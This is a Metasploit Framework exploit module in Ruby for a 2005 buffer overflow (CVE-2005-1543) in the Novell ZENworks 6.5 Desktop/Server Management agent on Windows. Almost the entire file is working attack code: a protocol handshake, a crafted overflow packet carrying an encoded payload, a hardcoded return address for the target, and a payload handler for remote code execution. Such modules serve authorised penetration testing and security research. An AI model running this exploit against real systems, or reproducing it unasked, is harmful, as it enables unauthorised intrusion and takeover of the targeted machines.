##
# $Id: zenworks_desktop_agent.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
'Description' => %q{
This module exploits a heap overflow in the Novell ZENworks
Desktop Management agent. This vulnerability was discovered
by Alex Wheeler.
},
'Author' => [ 'anonymous' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2005-1543'],
[ 'OSVDB', '16698'],
[ 'BID', '13678'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 32767,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
{
'Platform' => 'win',
'Ret' => 0x10002e06,
},
],
],
'DisclosureDate' => 'May 19 2005',
'DefaultTarget' => 0))
end
def exploit
connect
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
print_status("Sending version identification")
sock.put(hello)
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
ident = sock.get_once
if !(ident and ident.length == 16)
print_error("Failed to receive agent version identification")
return
end
print_status("Received agent version identification")
print_status("Sending client acknowledgement")
sock.put("\x00\x01")
# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
ack = sock.get_once
sock.put("\x00\x01")
sock.put("\x00\x02")
print_status("Sending final payload")
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
print_status("Overflow request sent, sleeping for four seconds")
select(nil,nil,nil,4)
handler
disconnect
end
end